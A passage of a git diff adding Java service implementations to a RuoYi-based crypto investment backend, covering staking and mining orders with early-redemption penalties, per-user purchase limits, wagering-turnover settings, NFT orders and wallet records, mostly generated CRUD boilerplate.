addMosaic.getIsOpen() && Objects.nonNull(addMosaic.getFinancialIsOpen()) && addMosaic.getFinancialIsOpen()){ + user.setTotleAmont(user.getTotleAmont().add(mineOrder.getAmount())); + appUserService.updateTotleAmont(user); + } + } + + return ""; + } else { + return MessageUtils.message("withdraw.refresh"); + } + } + } + + @Transactional + @Override + public String reCall(String id) { + TMineOrder mineOrder = orderService.getOne(new LambdaQueryWrapper().eq(TMineOrder::getId, id)); + if(CommonEnum.ONE.getCode()==mineOrder.getStatus().intValue()){ + return "订单状态不正确!!"; + } + TAppUser user = appUserService.selectTAppUserByUserId(mineOrder.getUserId()); + mineOrder.setStatus(2L); + TMineFinancial mineFinancial = this.selectTMineFinancialById(mineOrder.getPlanId()); + + BigDecimal odds=mineFinancial.getDefaultOdds().divide(new BigDecimal(100)); + BigDecimal amout=mineOrder.getAmount(); + //增加收益 + TMineOrderDay mineOrderDay = mineOrderDayService.getOne(new LambdaQueryWrapper() + .eq(TMineOrderDay::getOrderNo, mineOrder.getOrderNo()) + .eq(TMineOrderDay::getType, mineOrder.getType()) + .eq(TMineOrderDay::getStatus, CommonEnum.ONE.getCode()) + ); + if (Objects.nonNull(mineOrderDay) && Objects.nonNull(mineOrderDay.getEarn())){ + amout = amout.add(mineOrderDay.getEarn()); + } + int days= DateUtil.daydiff(new Date(),mineOrder.getEndTime()); + //违约金 + BigDecimal bigDecimal=amout.multiply(odds).multiply(new BigDecimal(days)); + //减去违约金 + BigDecimal result=amout.subtract(bigDecimal).setScale(6, RoundingMode.UP); + TAppAsset asset = tAppAssetService.getAssetByUserIdAndType(mineOrder.getUserId(), AssetEnum.FINANCIAL_ASSETS.getCode()); + //减去违约金 + BigDecimal availableAmount = asset.getAvailableAmount(); + asset.setAvailableAmount(availableAmount.add(result)); + asset.setAmout(asset.getAmout().add(result)); + tAppAssetService.updateTAppAsset(asset); + walletRecordService.generateRecord(user.getUserId(), result, RecordEnum.FINANCIAL_REDEMPTION.getCode(), user.getLoginName(), mineOrder.getOrderNo(), RecordEnum.FINANCIAL_REDEMPTION.getInfo(), availableAmount, asset.getAvailableAmount(), asset.getSymbol(),user.getAdminParentIds()); + mineOrder.setUpdateTime(new Date()); + orderService.updateTMineOrder(mineOrder); + //修改每日收益状态 + if (Objects.nonNull(mineOrderDay)){ + mineOrderDay.setStatus(CommonEnum.TWO.getCode()); + mineOrderDay.setUpdateTime(DateUtils.getNowDate()); + mineOrderDay.setUpdateBy(SecurityUtils.getUsername()); + mineOrderDayService.updateById(mineOrderDay); + } + return ""; + } + + /** + * 个人收益 + * @return + */ + @Override + public Map personalIncome() { + Map map = new HashMap<>(); + //查看个人 总投入 累计收益 + QueryWrapper orderWrapper = new QueryWrapper<>(); + orderWrapper.select("sum(amount) as sumAmount,sum(accumula_earn) as sumEarn"); + orderWrapper.eq("user_id",StpUtil.getLoginIdAsLong()); + Map map1 = orderService.getMap(orderWrapper); + if(!CollectionUtils.isEmpty(map1)){ + map.put("sumAmount",map1.get("sumAmount")==null?BigDecimal.ZERO:map1.get("sumAmount")); + map.put("sumEarn",map1.get("sumEarn")==null?BigDecimal.ZERO:map1.get("sumEarn")); + }else { + map.put("sumAmount",BigDecimal.ZERO); + map.put("sumEarn",BigDecimal.ZERO); + } + //查看个人 持仓数量 + QueryWrapper orderWrapper1 = new QueryWrapper<>(); + orderWrapper1.select("sum(amount) as position"); + orderWrapper1.eq("status",0); + orderWrapper1.eq("user_id",StpUtil.getLoginIdAsLong()); + Map map2 = orderService.getMap(orderWrapper1); + if(!CollectionUtils.isEmpty(map2)){ + map.put("position",map2.get("position")==null?BigDecimal.ZERO:map2.get("position")); + }else { + map.put("position",BigDecimal.ZERO); + } + //当日赚取 + QueryWrapper orderWrapper2 = new QueryWrapper<>(); + orderWrapper2.select("sum(amount) as commission"); + orderWrapper2.eq("user_id",StpUtil.getLoginIdAsLong()); + orderWrapper2.eq("type",RecordEnum.FINANCIAL_SETTLEMENT.getCode()); + Map map3 = walletRecordService.getMap(orderWrapper2); + if(!CollectionUtils.isEmpty(map3)){ + map.put("commission",map3.get("commission")==null?BigDecimal.ZERO:map3.get("commission")); + }else { + map.put("commission",BigDecimal.ZERO); + } + return map; + } +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TMineOrderDayServiceImpl.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TMineOrderDayServiceImpl.java new file mode 100644 index 0000000..1028a71 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TMineOrderDayServiceImpl.java @@ -0,0 +1,99 @@ +package com.ruoyi.bussiness.service.impl; +import com.baomidou.mybatisplus.extension.service.impl.ServiceImpl; + +import java.math.BigDecimal; +import java.util.List; + +import com.ruoyi.bussiness.domain.TMineOrderDay; +import com.ruoyi.bussiness.mapper.TMineOrderDayMapper; +import com.ruoyi.bussiness.service.ITMineOrderDayService; +import com.ruoyi.common.utils.DateUtils; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.stereotype.Service; + +/** + * 【请填写功能名称】Service业务层处理 + * + * @author ruoyi + * @date 2023-07-17 + */ +@Service +public class TMineOrderDayServiceImpl extends ServiceImpl implements ITMineOrderDayService +{ + @Autowired + private TMineOrderDayMapper tMineOrderDayMapper; + + /** + * 查询【请填写功能名称】 + * + * @param amount 【请填写功能名称】主键 + * @return 【请填写功能名称】 + */ + @Override + public TMineOrderDay selectTMineOrderDayByAmount(BigDecimal amount) + { + return tMineOrderDayMapper.selectTMineOrderDayByAmount(amount); + } + + /** + * 查询【请填写功能名称】列表 + * + * @param tMineOrderDay 【请填写功能名称】 + * @return 【请填写功能名称】 + */ + @Override + public List selectTMineOrderDayList(TMineOrderDay tMineOrderDay) + { + return tMineOrderDayMapper.selectTMineOrderDayList(tMineOrderDay); + } + + /** + * 新增【请填写功能名称】 + * + * @param tMineOrderDay 【请填写功能名称】 + * @return 结果 + */ + @Override + public int insertTMineOrderDay(TMineOrderDay tMineOrderDay) + { + tMineOrderDay.setCreateTime(DateUtils.getNowDate()); + return tMineOrderDayMapper.insertTMineOrderDay(tMineOrderDay); + } + + /** + * 修改【请填写功能名称】 + * + * @param tMineOrderDay 【请填写功能名称】 + * @return 结果 + */ + @Override + public int updateTMineOrderDay(TMineOrderDay tMineOrderDay) + { + tMineOrderDay.setUpdateTime(DateUtils.getNowDate()); + return tMineOrderDayMapper.updateTMineOrderDay(tMineOrderDay); + } + + /** + * 批量删除【请填写功能名称】 + * + * @param amounts 需要删除的【请填写功能名称】主键 + * @return 结果 + */ + @Override + public int deleteTMineOrderDayByAmounts(BigDecimal[] amounts) + { + return tMineOrderDayMapper.deleteTMineOrderDayByAmounts(amounts); + } + + /** + * 删除【请填写功能名称】信息 + * + * @param amount 【请填写功能名称】主键 + * @return 结果 + */ + @Override + public int deleteTMineOrderDayByAmount(BigDecimal amount) + { + return tMineOrderDayMapper.deleteTMineOrderDayByAmount(amount); + } +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TMineOrderServiceImpl.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TMineOrderServiceImpl.java new file mode 100644 index 0000000..a4d5976 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TMineOrderServiceImpl.java @@ -0,0 +1,105 @@ +package com.ruoyi.bussiness.service.impl; +import cn.hutool.json.JSONUtil; +import com.baomidou.mybatisplus.extension.service.impl.ServiceImpl; +import java.util.List; +import java.util.Objects; + +import com.ruoyi.bussiness.domain.TMineOrder; +import com.ruoyi.bussiness.domain.setting.FinancialSettlementSetting; +import com.ruoyi.bussiness.domain.setting.Setting; +import com.ruoyi.bussiness.mapper.TMineOrderMapper; +import com.ruoyi.bussiness.service.ITMineOrderService; +import com.ruoyi.bussiness.service.SettingService; +import com.ruoyi.common.enums.CommonEnum; +import com.ruoyi.common.enums.SettingEnum; +import com.ruoyi.common.utils.DateUtils; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.stereotype.Service; + +import javax.annotation.Resource; + +/** + * 【请填写功能名称】Service业务层处理 + * + * @author ruoyi + * @date 2023-07-17 + */ +@Service +public class TMineOrderServiceImpl extends ServiceImpl implements ITMineOrderService +{ + @Resource + private TMineOrderMapper tMineOrderMapper; + /** + * 查询【请填写功能名称】 + * + * @param id 【请填写功能名称】主键 + * @return 【请填写功能名称】 + */ + @Override + public TMineOrder selectTMineOrderById(Long id) + { + return tMineOrderMapper.selectTMineOrderById(id); + } + + /** + * 查询【请填写功能名称】列表 + * + * @param tMineOrder 【请填写功能名称】 + * @return 【请填写功能名称】 + */ + @Override + public List selectTMineOrderList(TMineOrder tMineOrder) + { + return tMineOrderMapper.selectTMineOrderList(tMineOrder); + } + + /** + * 新增【请填写功能名称】 + * + * @param tMineOrder 【请填写功能名称】 + * @return 结果 + */ + @Override + public int insertTMineOrder(TMineOrder tMineOrder) + { + tMineOrder.setCreateTime(DateUtils.getNowDate()); + return tMineOrderMapper.insertTMineOrder(tMineOrder); + } + + /** + * 修改【请填写功能名称】 + * + * @param tMineOrder 【请填写功能名称】 + * @return 结果 + */ + @Override + public int updateTMineOrder(TMineOrder tMineOrder) + { + tMineOrder.setUpdateTime(DateUtils.getNowDate()); + return tMineOrderMapper.updateTMineOrder(tMineOrder); + } + + /** + * 批量删除【请填写功能名称】 + * + * @param ids 需要删除的【请填写功能名称】主键 + * @return 结果 + */ + @Override + public int deleteTMineOrderByIds(Long[] ids) + { + return tMineOrderMapper.deleteTMineOrderByIds(ids); + } + + /** + * 删除【请填写功能名称】信息 + * + * @param id 【请填写功能名称】主键 + * @return 结果 + */ + @Override + public int deleteTMineOrderById(Long id) + { + return tMineOrderMapper.deleteTMineOrderById(id); + } +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TMineUserServiceImpl.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TMineUserServiceImpl.java new file mode 100644 index 0000000..0f56494 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TMineUserServiceImpl.java @@ -0,0 +1,94 @@ +package com.ruoyi.bussiness.service.impl; +import com.baomidou.mybatisplus.extension.service.impl.ServiceImpl; +import java.util.List; + +import com.ruoyi.bussiness.domain.TMineUser; +import com.ruoyi.bussiness.mapper.TMineUserMapper; +import com.ruoyi.bussiness.service.ITMineUserService; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.stereotype.Service; + +/** + * 【请填写功能名称】Service业务层处理 + * + * @author ruoyi + * @date 2023-07-17 + */ +@Service +public class TMineUserServiceImpl extends ServiceImpl implements ITMineUserService +{ + @Autowired + private TMineUserMapper tMineUserMapper; + + /** + * 查询【请填写功能名称】 + * + * @param userId 【请填写功能名称】主键 + * @return 【请填写功能名称】 + */ + @Override + public TMineUser selectTMineUserByUserId(Long userId) + { + return tMineUserMapper.selectTMineUserByUserId(userId); + } + + /** + * 查询【请填写功能名称】列表 + * + * @param tMineUser 【请填写功能名称】 + * @return 【请填写功能名称】 + */ + @Override + public List selectTMineUserList(TMineUser tMineUser) + { + return tMineUserMapper.selectTMineUserList(tMineUser); + } + + /** + * 新增【请填写功能名称】 + * + * @param tMineUser 【请填写功能名称】 + * @return 结果 + */ + @Override + public int insertTMineUser(TMineUser tMineUser) + { + return tMineUserMapper.insertTMineUser(tMineUser); + } + + /** + * 修改【请填写功能名称】 + * + * @param tMineUser 【请填写功能名称】 + * @return 结果 + */ + @Override + public int updateTMineUser(TMineUser tMineUser) + { + return tMineUserMapper.updateTMineUser(tMineUser); + } + + /** + * 批量删除【请填写功能名称】 + * + * @param userIds 需要删除的【请填写功能名称】主键 + * @return 结果 + */ + @Override + public int deleteTMineUserByUserIds(Long[] userIds) + { + return tMineUserMapper.deleteTMineUserByUserIds(userIds); + } + + /** + * 删除【请填写功能名称】信息 + * + * @param userId 【请填写功能名称】主键 + * @return 结果 + */ + @Override + public int deleteTMineUserByUserId(Long userId) + { + return tMineUserMapper.deleteTMineUserByUserId(userId); + } +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TMingOrderServiceImpl.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TMingOrderServiceImpl.java new file mode 100644 index 0000000..f1b5220 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TMingOrderServiceImpl.java @@ -0,0 +1,264 @@ +package com.ruoyi.bussiness.service.impl; + +import cn.hutool.core.date.DateTime; +import cn.hutool.json.JSONUtil; +import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; +import com.baomidou.mybatisplus.extension.service.impl.ServiceImpl; + +import java.math.BigDecimal; +import java.util.*; +import java.util.concurrent.TimeUnit; + +import com.ruoyi.bussiness.domain.*; +import com.ruoyi.bussiness.domain.setting.AddMosaicSetting; +import com.ruoyi.bussiness.domain.setting.Setting; +import com.ruoyi.bussiness.service.*; +import com.ruoyi.common.core.domain.entity.SysUser; +import com.ruoyi.common.core.domain.model.LoginUser; +import com.ruoyi.common.enums.AssetEnum; +import com.ruoyi.common.enums.RecordEnum; +import com.ruoyi.common.enums.SettingEnum; +import com.ruoyi.common.utils.*; +import jnr.ffi.annotations.In; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.stereotype.Service; +import com.ruoyi.bussiness.mapper.TMingOrderMapper; +import org.springframework.web.bind.annotation.RequestBody; + +import javax.annotation.Resource; +import javax.management.ObjectName; + +/** + * mingService业务层处理 + * + * @author ruoyi + * @date 2023-08-18 + */ +@Service +public class TMingOrderServiceImpl extends ServiceImpl implements ITMingOrderService { + @Autowired + private TMingOrderMapper tMingOrderMapper; + + @Resource + private ITAppUserService appUserService; + + @Resource + private ITAppAssetService appAssetService; + + @Resource + private ITAppWalletRecordService appWalletRecordService; + + @Resource + private ITMingProductService mingProductService; + @Resource + private ITMingProductUserService mingProductUserService; + @Resource + private SettingService settingService; + + /** + * 查询ming + * + * @param id ming主键 + * @return ming + */ + @Override + public TMingOrder selectTMingOrderById(Long id) { + return tMingOrderMapper.selectTMingOrderById(id); + } + + /** + * 查询ming列表 + * + * @param tMingOrder ming + * @return ming + */ + @Override + public List selectTMingOrderList(TMingOrder tMingOrder) { + return tMingOrderMapper.selectTMingOrderList(tMingOrder); + } + + /** + * 新增ming + * + * @param tMingOrder ming + * @return 结果 + */ + @Override + public int insertTMingOrder(TMingOrder tMingOrder) { + tMingOrder.setCreateTime(DateUtils.getNowDate()); + return tMingOrderMapper.insertTMingOrder(tMingOrder); + } + + /** + * 修改ming + * + * @param tMingOrder ming + * @return 结果 + */ + @Override + public int updateTMingOrder(TMingOrder tMingOrder) { + tMingOrder.setUpdateTime(DateUtils.getNowDate()); + return tMingOrderMapper.updateTMingOrder(tMingOrder); + } + + /** + * 批量删除ming + * + * @param ids 需要删除的ming主键 + * @return 结果 + */ + @Override + public int deleteTMingOrderByIds(Long[] ids) { + return tMingOrderMapper.deleteTMingOrderByIds(ids); + } + + /** + * 删除ming信息 + * + * @param id ming主键 + * @return 结果 + */ + @Override + public int deleteTMingOrderById(Long id) { + return tMingOrderMapper.deleteTMingOrderById(id); + } + + @Override + public String bugMingOrder(Long planId, BigDecimal amount, Long userId) { + TAppUser user = appUserService.selectTAppUserByUserId(userId); + TAppUserDetail tAppUserDetail = appUserService.selectUserDetailByUserId(userId); + Integer tradeFlag = tAppUserDetail.getTradeFlag(); + if (null != tradeFlag) { + if (1 == tradeFlag) { + if (tAppUserDetail.getTradeMessage() == null || tAppUserDetail.getTradeMessage().equals("")) { + return MessageUtils.message("user.push.message"); + } else { + return tAppUserDetail.getTradeMessage(); + } + } + } + TAppAsset tAppAsset = appAssetService.getOne(new LambdaQueryWrapper().eq(TAppAsset::getType, AssetEnum.PLATFORM_ASSETS.getCode()).eq(TAppAsset::getUserId, userId).eq(TAppAsset::getSymbol, "usdt")); + TMingProduct tMingProduct = mingProductService.selectTMingProductById(planId); + TMingProductUser tMingProductUser = mingProductUserService.getOne(new LambdaQueryWrapper() + .eq(TMingProductUser::getProductId, planId).eq(TMingProductUser::getAppUserId, userId)); + //判断有没有个人购买限制 + if (Objects.nonNull(tMingProductUser) && Objects.nonNull(tMingProductUser.getPledgeNum())) tMingProduct.setTimeLimit(tMingProductUser.getPledgeNum()); + // 2. 金额判断 + if (Objects.isNull(tAppAsset)) { + return MessageUtils.message("order_amount_error"); + } + if (tAppAsset.getAvailableAmount().compareTo(amount) < 0) { + return MessageUtils.message("order_amount_error"); + } + // 单个用户单笔下注最小金额 和最大金额 + if (null != tMingProduct.getLimitMin()) { + if (amount.compareTo(tMingProduct.getLimitMin()) < 0) { + return MessageUtils.message("order.single.min"); + } + } + if (null != tMingProduct.getLimitMax()) { + if (tMingProduct.getLimitMax().compareTo(amount) < 0) { + return MessageUtils.message("order.single.max"); + } + } + int count = this.count(new LambdaQueryWrapper().eq(TMingOrder::getPlanId, tMingProduct.getId()).eq(TMingOrder::getUserId, userId)); + if (count >= tMingProduct.getTimeLimit()) { + return MessageUtils.message("financial.count.max"); + } + String days = tMingProduct.getDays(); + TMingOrder mineOrder = new TMingOrder(); + mineOrder.setUserId(userId); + mineOrder.setPlanId(planId); + Date now = new DateTime(); + // 下单 + String serialId = "E" + OrderUtils.generateOrderNum(); + Date endTime = DateUtil.dateFormatDay(now, Integer.valueOf(days)); + //当日利率从接口获取,现在取最小利率 + mineOrder.setOrderNo(serialId); + mineOrder.setPlanId(tMingProduct.getId()); + mineOrder.setCreateTime(new Date()); + mineOrder.setDays(Integer.valueOf(days)); + mineOrder.setAmount(amount); + mineOrder.setAccumulaEarn(BigDecimal.ZERO); + mineOrder.setEndTime(endTime); + mineOrder.setPlanTitle(tMingProduct.getTitle()); + mineOrder.setMinOdds(tMingProduct.getMinOdds()); + mineOrder.setMaxOdds(tMingProduct.getMaxOdds()); + mineOrder.setAdminUserIds(user.getAdminParentIds()); + mineOrder.setUserId(user.getUserId()); + mineOrder.setStatus(0); + // 先扣钱,再下单 + BigDecimal bigDecimal = tAppAsset.getAvailableAmount(); + tAppAsset.setAmout(tAppAsset.getAmout().subtract(amount)); + tAppAsset.setAvailableAmount(bigDecimal.subtract(amount)); + appAssetService.updateTAppAsset(tAppAsset); + appWalletRecordService.generateRecord(user.getUserId(), amount, RecordEnum.MINING_TO_BUY.getCode(), user.getLoginName(), serialId, "", bigDecimal, bigDecimal.subtract(amount), "USDT", user.getAdminParentIds()); + tMingOrderMapper.insert(mineOrder); + //质押打码 + Setting setting = settingService.get(SettingEnum.ADD_MOSAIC_SETTING.name()); + if (Objects.nonNull(setting)){ + AddMosaicSetting addMosaic = JSONUtil.toBean(setting.getSettingValue(), AddMosaicSetting.class); + if (Objects.nonNull(addMosaic) && Objects.nonNull(addMosaic.getIsOpen()) && addMosaic.getIsOpen() && Objects.nonNull(addMosaic.getPledgeIsOpen()) && addMosaic.getPledgeIsOpen()){ + user.setTotleAmont(user.getTotleAmont().add(mineOrder.getAmount())); + appUserService.updateTotleAmont(user); + } + } + return "success"; + } + + @Override + public Map selectMingOrderSumList(Long userId) { + Map params = new HashMap<>(); + params.put("userId",userId); + return tMingOrderMapper.selectMingOrderSumList(params); + } + + @Override + public String redemption(Long id) { + //质押赎回 + TMingOrder tMingOrder = tMingOrderMapper.selectTMingOrderById(id); + //项目id + Long planId = tMingOrder.getPlanId(); + //投资金额 + BigDecimal amount = tMingOrder.getAmount(); + TMingProduct product = mingProductService.getById(planId); + //违约利率 + BigDecimal defaultOdds = product.getDefaultOdds(); + //违约金 + BigDecimal multiply = amount.multiply(defaultOdds); + //退还金额 + BigDecimal subtract = amount.subtract(multiply); + + TAppUser user = appUserService.selectTAppUserByUserId(tMingOrder.getUserId()); + TAppAsset tAppAsset = appAssetService.getOne(new LambdaQueryWrapper().eq(TAppAsset::getType, AssetEnum.PLATFORM_ASSETS.getCode()).eq(TAppAsset::getUserId, tMingOrder.getUserId()).eq(TAppAsset::getSymbol, "usdt")); + BigDecimal bigDecimal = tAppAsset.getAvailableAmount(); + tAppAsset.setAmout(tAppAsset.getAmout().add(subtract)); + tAppAsset.setAvailableAmount(bigDecimal.add(subtract)); + appAssetService.updateTAppAsset(tAppAsset); + appWalletRecordService.generateRecord(tMingOrder.getUserId(), subtract, RecordEnum.MINING_REDEMPTION.getCode(), user.getLoginName(), tMingOrder.getOrderNo(), "", bigDecimal, bigDecimal.add(subtract), "USDT", user.getAdminParentIds()); + tMingOrder.setStatus(2); + this.updateTMingOrder(tMingOrder); + return ""; + } + + @Override + public String redemption(Long id, String flag) { + //质押赎回 + TMingOrder tMingOrder = tMingOrderMapper.selectTMingOrderById(id); + //投资金额 + BigDecimal amount = tMingOrder.getAmount(); + + TAppUser user = appUserService.selectTAppUserByUserId(tMingOrder.getUserId()); + TAppAsset tAppAsset = appAssetService.getOne(new LambdaQueryWrapper().eq(TAppAsset::getType, AssetEnum.PLATFORM_ASSETS.getCode()).eq(TAppAsset::getUserId, tMingOrder.getUserId()).eq(TAppAsset::getSymbol, "usdt")); + BigDecimal bigDecimal = tAppAsset.getAvailableAmount(); + tAppAsset.setAmout(tAppAsset.getAmout().add(amount)); + tAppAsset.setAvailableAmount(bigDecimal.add(amount)); + appAssetService.updateTAppAsset(tAppAsset); + appWalletRecordService.generateRecord(tMingOrder.getUserId(), amount, RecordEnum.MINING_REDEMPTION.getCode(), user.getLoginName(), tMingOrder.getOrderNo(), "", bigDecimal, bigDecimal.add(amount), "USDT", user.getAdminParentIds()); + tMingOrder.setStatus(2); + tMingOrder.setAccumulaEarn(BigDecimal.ZERO); + this.updateTMingOrder(tMingOrder); + return ""; + } +} + diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TMingProductServiceImpl.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TMingProductServiceImpl.java new file mode 100644 index 0000000..9c03309 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TMingProductServiceImpl.java @@ -0,0 +1,96 @@ +package com.ruoyi.bussiness.service.impl; +import com.baomidou.mybatisplus.extension.service.impl.ServiceImpl; +import java.util.List; +import com.ruoyi.common.utils.DateUtils; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.stereotype.Service; +import com.ruoyi.bussiness.mapper.TMingProductMapper; +import com.ruoyi.bussiness.domain.TMingProduct; +import com.ruoyi.bussiness.service.ITMingProductService; + +/** + * mingProductService业务层处理 + * + * @author ruoyi + * @date 2023-08-18 + */ +@Service +public class TMingProductServiceImpl extends ServiceImpl implements ITMingProductService +{ + @Autowired + private TMingProductMapper tMingProductMapper; + + /** + * 查询mingProduct + * + * @param id mingProduct主键 + * @return mingProduct + */ + @Override + public TMingProduct selectTMingProductById(Long id) + { + return tMingProductMapper.selectTMingProductById(id); + } + + /** + * 查询mingProduct列表 + * + * @param tMingProduct mingProduct + * @return mingProduct + */ + @Override + public List selectTMingProductList(TMingProduct tMingProduct) + { + return tMingProductMapper.selectTMingProductList(tMingProduct); + } + + /** + * 新增mingProduct + * + * @param tMingProduct mingProduct + * @return 结果 + */ + @Override + public int insertTMingProduct(TMingProduct tMingProduct) + { + tMingProduct.setCreateTime(DateUtils.getNowDate()); + return tMingProductMapper.insertTMingProduct(tMingProduct); + } + + /** + * 修改mingProduct + * + * @param tMingProduct mingProduct + * @return 结果 + */ + @Override + public int updateTMingProduct(TMingProduct tMingProduct) + { + tMingProduct.setUpdateTime(DateUtils.getNowDate()); + return tMingProductMapper.updateTMingProduct(tMingProduct); + } + + /** + * 批量删除mingProduct + * + * @param ids 需要删除的mingProduct主键 + * @return 结果 + */ + @Override + public int deleteTMingProductByIds(Long[] ids) + { + return tMingProductMapper.deleteTMingProductByIds(ids); + } + + /** + * 删除mingProduct信息 + * + * @param id mingProduct主键 + * @return 结果 + */ + @Override + public int deleteTMingProductById(Long id) + { + return tMingProductMapper.deleteTMingProductById(id); + } +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TMingProductUserServiceImpl.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TMingProductUserServiceImpl.java new file mode 100644 index 0000000..b7440e1 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TMingProductUserServiceImpl.java @@ -0,0 +1,101 @@ +package com.ruoyi.bussiness.service.impl; +import com.baomidou.mybatisplus.extension.service.impl.ServiceImpl; +import java.util.List; +import com.ruoyi.common.utils.DateUtils; +import com.ruoyi.common.utils.SecurityUtils; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.stereotype.Service; +import com.ruoyi.bussiness.mapper.TMingProductUserMapper; +import com.ruoyi.bussiness.domain.TMingProductUser; +import com.ruoyi.bussiness.service.ITMingProductUserService; + +/** + * 用户购买质押限制Service业务层处理 + * + * @author ruoyi + * @date 2023-10-11 + */ +@Service +public class TMingProductUserServiceImpl extends ServiceImpl implements ITMingProductUserService +{ + @Autowired + private TMingProductUserMapper tMingProductUserMapper; + + /** + * 查询用户购买质押限制 + * + * @param id 用户购买质押限制主键 + * @return 用户购买质押限制 + */ + @Override + public TMingProductUser selectTMingProductUserById(Long id) + { + return tMingProductUserMapper.selectTMingProductUserById(id); + } + + /** + * 查询用户购买质押限制列表 + * + * @param tMingProductUser 用户购买质押限制 + * @return 用户购买质押限制 + */ + @Override + public List selectTMingProductUserList(TMingProductUser tMingProductUser) + { + return tMingProductUserMapper.selectTMingProductUserList(tMingProductUser); + } + + /** + * 新增用户购买质押限制 + * + * @param tMingProductUser 用户购买质押限制 + * @return 结果 + */ + @Override + public int insertTMingProductUser(TMingProductUser tMingProductUser) + { + tMingProductUser.setCreateTime(DateUtils.getNowDate()); + tMingProductUser.setCreateBy(SecurityUtils.getUsername()); + tMingProductUser.setUpdateTime(DateUtils.getNowDate()); + tMingProductUser.setUpdateBy(SecurityUtils.getUsername()); + return tMingProductUserMapper.insertTMingProductUser(tMingProductUser); + } + + /** + * 修改用户购买质押限制 + * + * @param tMingProductUser 用户购买质押限制 + * @return 结果 + */ + @Override + public int updateTMingProductUser(TMingProductUser tMingProductUser) + { + tMingProductUser.setUpdateTime(DateUtils.getNowDate()); + tMingProductUser.setUpdateBy(SecurityUtils.getUsername()); + return tMingProductUserMapper.updateTMingProductUser(tMingProductUser); + } + + /** + * 批量删除用户购买质押限制 + * + * @param ids 需要删除的用户购买质押限制主键 + * @return 结果 + */ + @Override + public int deleteTMingProductUserByIds(Long[] ids) + { + return tMingProductUserMapper.deleteTMingProductUserByIds(ids); + } + + /** + * 删除用户购买质押限制信息 + * + * @param id 用户购买质押限制主键 + * @return 结果 + */ + @Override + public int deleteTMingProductUserById(Long id) + { + return tMingProductUserMapper.deleteTMingProductUserById(id); + } +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TNftOrderServiceImpl.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TNftOrderServiceImpl.java new file mode 100644 index 0000000..ec126e2 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TNftOrderServiceImpl.java @@ -0,0 +1,96 @@ +package com.ruoyi.bussiness.service.impl; +import com.baomidou.mybatisplus.extension.service.impl.ServiceImpl; +import java.util.List; +import com.ruoyi.common.utils.DateUtils; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.stereotype.Service; +import com.ruoyi.bussiness.mapper.TNftOrderMapper; +import com.ruoyi.bussiness.domain.TNftOrder; +import com.ruoyi.bussiness.service.ITNftOrderService; + +/** + * nft订单Service业务层处理 + * + * @author ruoyi + * @date 2023-09-01 + */ +@Service +public class TNftOrderServiceImpl extends ServiceImpl implements ITNftOrderService +{ + @Autowired + private TNftOrderMapper tNftOrderMapper; + + /** + * 查询nft订单 + * + * @param id nft订单主键 + * @return nft订单 + */ + @Override + public TNftOrder selectTNftOrderById(Long id) + { + return tNftOrderMapper.selectTNftOrderById(id); + } + + /** + * 查询nft订单列表 + * + * @param tNftOrder nft订单 + * @return nft订单 + */ + @Override + public List selectTNftOrderList(TNftOrder tNftOrder) + { + return tNftOrderMapper.selectTNftOrderList(tNftOrder); + } + + /** + * 新增nft订单 + * + * @param tNftOrder nft订单 + * @return 结果 + */ + @Override + public int insertTNftOrder(TNftOrder tNftOrder) + { + tNftOrder.setCreateTime(DateUtils.getNowDate()); + return tNftOrderMapper.insertTNftOrder(tNftOrder); + } + + /** + * 修改nft订单 + * + * @param tNftOrder nft订单 + * @return 结果 + */ + @Override + public int updateTNftOrder(TNftOrder tNftOrder) + { + tNftOrder.setUpdateTime(DateUtils.getNowDate()); + return tNftOrderMapper.updateTNftOrder(tNftOrder); + } + + /** + * 批量删除nft订单 + * + * @param ids 需要删除的nft订单主键 + * @return 结果 + */ + @Override + public int deleteTNftOrderByIds(Long[] ids) + { + return tNftOrderMapper.deleteTNftOrderByIds(ids); + } + + /** + * 删除nft订单信息 + * + * @param id nft订单主键 + * @return 结果 + */ + @Override + public int deleteTNftOrderById(Long id) + { + return tNftOrderMapper.deleteTNftOrderById(id); + } +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TNftProductServiceImpl.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TNftProductServiceImpl.java new file mode 100644 index 0000000..4df4192 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TNftProductServiceImpl.java @@ -0,0 +1,103 @@ +package com.ruoyi.bussiness.service.impl; +import com.baomidou.mybatisplus.extension.service.impl.ServiceImpl; +import java.util.List; +import com.ruoyi.common.utils.DateUtils; +import 